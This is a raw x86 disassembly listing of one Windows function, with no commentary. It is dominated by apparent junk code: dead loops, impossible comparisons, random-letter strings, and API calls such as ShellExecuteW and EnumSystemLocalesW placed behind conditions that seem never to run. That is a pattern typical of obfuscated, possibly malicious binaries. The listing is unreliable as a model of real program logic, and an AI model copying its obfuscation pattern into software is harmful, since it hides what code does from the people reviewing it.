mov eax, dword [ebp - 0x19c]
mov dword [eax + ecx*4], 5
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x41266e
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jg 0x4129a1
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x3c], eax
push 3
lea ecx, [ebp - 0x6d0]
call fcn.0040bc2e
push 2
lea ecx, [ebp - 0x474]
call fcn.0040bc2e
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x4126e0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x6d0]
mov dword [eax + ecx*4], 6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x4126c5
xor eax, eax
mov dword [ebp - 0x24], 0xd69
cmp dword [ebp - 0x24], 0xea6
jle 0x41274b
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
xor ecx, ecx
mov dword [ebp - 0x50], ecx
xor esi, esi
xor ebx, ebx
mov eax, esi
or eax, ecx
cdq
push edx
push eax
lea ecx, [ebp - 0xc40]
call fcn.004019b1
pop ecx
pop ecx
mov ecx, eax
call fcn.0040b8ce
push eax
call fcn.004b4d47
pop ecx
push ebx
push edi
lea ecx, [ebp - 0xc40]
call fcn.0040c2ae
inc esi
cmp esi, 0x9d
mov ecx, dword [ebp - 0x50]
jl 0x412701
inc ecx
mov dword [ebp - 0x50], ecx
cmp ecx, 0x2d98
jl 0x4126fd
or esi, 0xffffffff
mov dword [ebp - 0x18], 0
jmp 0x412767
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x474]
mov dword [eax + ecx*4], 0xfffffff9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x412754
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x24], 0xa0b
jge 0x412788
push str.llh_ktw_kstsm_xqwzl_idsyhspj_css_wjvvov_zglhrqlw_kkauhyqn_ajnd
call fcn.004b4d47
pop ecx
mov dword [ebp - 4], esi
xor eax, eax
jmp 0x4127b4
mov ebx, 0xcda6a44f
mov dword [ebp - 0x28], 0x5dae5a6
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jl 0x41297e
mov dword [ebp - 0x50], 0x2ade89b9
mov dword [ebp - 0x20], eax
jmp 0x4127e5
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x8cc], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x4127d8
mov esi, dword [ebp - 0x28]
mov edx, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax + ecx*4]
mov dword [edx + esi*4], eax
test eax, eax
jne 0x4128ba
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
dec dword [ebp - 0x38]
test eax, eax
jne 0x412890
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax + ecx*4]
neg eax
xor ecx, ecx
cmp eax, 0x70e7
setle cl
mov eax, dword [ebp - 0x6d0]
mov dword [eax + 8], ecx
mov esi, dword [ebp - 0x28]
xor edx, edx
test ecx, ecx
setne dl
sub edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, edi
setg al
cmp ebx, eax
sbb ecx, ecx
dec ecx
mov eax, dword [ebp - 0x19c]
sub ecx, dword [eax + esi*4]
neg ecx
sbb ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 0xdef0
setg al
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x30]
add eax, 0xffffce97
add ecx, eax
mov eax, dword [ebp - 0x48]
xor edx, edx
cmp ecx, eax
setg dl
mov eax, dword [ebp - 0x474]
mov dword [eax], edx
test edx, edx
jne 0x4128ba
xor ecx, ecx
jmp 0x4128bc
mov ecx, edi
mov eax, dword [ebp - 0x30]
xor edx, edx
cmp ecx, eax
setle dl
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setle cl
push 6
pop eax
cmp eax, ecx
sbb ecx, ecx
neg ecx
mov eax, dword [ebp - 0x30]
xor edx, edx
cmp ecx, eax
setne dl
mov eax, dword [ebp - 0x8c4]
xor ecx, ecx
cmp edx, eax
setne cl
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, eax
setne dl
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x4c], 5
cmp dword [ebp - 0x4c], 0x1d
je 0x41296a
xor ebx, ebx
mov dword [ebp - 0x1c], 3
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x19c]
cmp dword [eax + ecx*4], ebx
jne 0x412959
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x19c]
cmp dword [eax], ebx
setg cl
mov dword [ebp - 0x8c8], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x474]
mov dword [eax], edi
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0x1d
jne 0x412916
dec dword [ebp - 0x28]
push 0
pop eax
push 0xffffffffffffffff
pop esi
mov ebx, 0xcda6a44f
jns 0x4127cc
lea ecx, [ebp - 0x474]
call fcn.0040bd00
lea ecx, [ebp - 0x6d0]
call fcn.0040bd00
inc dword [ebp - 0x2c]
xor eax, eax
or esi, 0xffffffff
jmp 0x412691
lea ecx, [ebp - 0x19c]
call fcn.0040bd00
mov dword [ebp - 0x18], 0x3f4f46db
mov dword [ebp - 0x24], edi
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x4129d6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x17c], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x4129c1
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x4129f6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x180], 0xfffffffa
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x4129de
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jg 0x412abb
mov dword [ebp - 0x34], 0xdb821342
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x20], eax
jmp 0x412a23
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xabc], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x412a16
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x17c]
mov eax, dword [ebp - 0x174]
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x174]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x17c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x17c]
xor edx, edx
cmp eax, edi
setle dl
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x17c]
xor ecx, ecx
cmp eax, edx
setle cl
mov edx, 0xffff
sub edx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x17c]
xor ebx, ebx
cmp edx, eax
setg bl
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp ebx, eax
setl cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xab0], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
push 0
pop eax
jle 0x412a03
mov dword [ebp - 0x180], 0xfffffff8
mov dword [ebp - 0x4c], 0x4dc0dc
mov dword [ebp - 0x20], 0x8d4081c2
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x412af1
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x8c0], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x412adc
xor eax, eax
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x412b0e
xor ebx, ebx
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x8c0], ebx
jne 0x412b0c
dec dword [ebp - 0x20]
jns 0x412afb
xor eax, eax
mov dword [ebp - 0x40], 0xfd41
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x40], 0x98070ade
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x40], 0x4b666a75
mov dword [ebp - 0x40], 0xf5ed9a92
mov dword [ebp - 0x40], 0x1151c3c3
mov dword [ebp - 0x40], 0xa97963ba
mov dword [ebp - 0x40], 0xe649f6d4
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x40], 0xc8f0d071
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x40], 0xfffffff7
mov dword [ebp - 0x40], 0xa065c2dd
mov dword [ebp - 0x40], 0x3aaf5bfb
mov dword [ebp - 0x24], 0xc41ac3dc
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x412b95
push eax
push 0x1d4a
push 0x23a
push 0x2253
call dword [sym.imp.USER32.dll_SetDlgItemInt]
dec dword [ebp - 0x24]
mov dword [ebp - 0x18], 0x462d5e48
push edi
lea ecx, [ebp - 0x6e8]
call fcn.0040bc2e
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x412bcf
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x6e8]
mov dword [eax + ecx*4], 0xfffffff9
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x412bb5
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x412bf5
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x412bf2
push 0xf34
push eax
push 0x167
push 0x4e
call dword [sym.imp.USER32.dll_MapWindowPoints]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x19
jl 0x412bd4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x412c47
mov dword [ebp - 0x20], edi
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x412c1d
push eax
push 0x5ae
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jg 0x412c42
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x6e8]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0
jle 0x412c25
xor eax, eax
dec dword [ebp - 0x18]
jns 0x412c03
lea ecx, [ebp - 0x6e8]
call fcn.0040bd00
mov dword [ebp - 0x18], 0x327439cb
mov dword [ebp - 0x24], 0xfffffff9
mov dword [ebp - 0x24], 0x3700168a
mov dword [ebp - 0x24], 0xfffffffb
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
xor ecx, ecx
cmp eax, 0xcd9d75
setg cl
mov eax, dword [ebp - 0x18]
xor ebx, ebx
cmp ecx, eax
setl bl
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
xor edx, edx
cmp eax, ecx
setl dl
xor eax, eax
cmp edx, ebx
setne al
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
setge dl
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setg cl
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
setge dl
sub edx, 0xcbe9
neg edx
sbb edx, edx
inc edx
imul eax, edx, 0x9150
dec eax
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x24], eax
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x412d0f
push 0x3a2
push eax
push eax
push eax
push eax
push 0x1761
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov dword [ebp - 0x44], 0x7bbe
cmp dword [ebp - 0x44], 0x7dfc
jle 0x412d88
mov edx, eax
mov dword [ebp - 0x48], eax
mov ecx, eax
mov dword [ebp - 0x34], eax
mov ebx, eax
mov dword [ebp - 0x24], ebx
shl edx, cl
mov dword [ebp - 0x54], edx
mov esi, eax
mov ecx, ebx
mov ebx, edx
sar ebx, cl
mov eax, ebx
or eax, esi
cdq
push edx
push eax
mov ecx, 0xa9b358
call fcn.0040b8d9
inc esi
cmp esi, 0x4e0d
jl 0x412d3b
mov ebx, dword [ebp - 0x24]
inc ebx
mov dword [ebp - 0x24], ebx
cmp ebx, 0x5bf
push 0
pop eax
mov edx, dword [ebp - 0x54]
jl 0x412d33
mov ecx, dword [ebp - 0x34]
inc ecx
mov dword [ebp - 0x34], ecx
cmp ecx, 0x7d59
mov edx, dword [ebp - 0x48]
jl 0x412d29
inc edx
mov dword [ebp - 0x48], edx
cmp edx, 0x687d
jl 0x412d24
mov dword [ebp - 0x1c], 5
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x44], 0x7af5
jge 0x412dae
mov edx, str.zxqzwtugv_yyaoapsoi_lwe_miwfz_ypp_qqeqedqd
mov ecx, 0xa9b358
call fcn.0040e54d
or esi, 0xffffffff
mov dword [ebp - 4], esi
xor eax, eax
jmp 0x412ddd
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x412dfd
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x80c], 0xfffffffb
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x412de5
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x412e26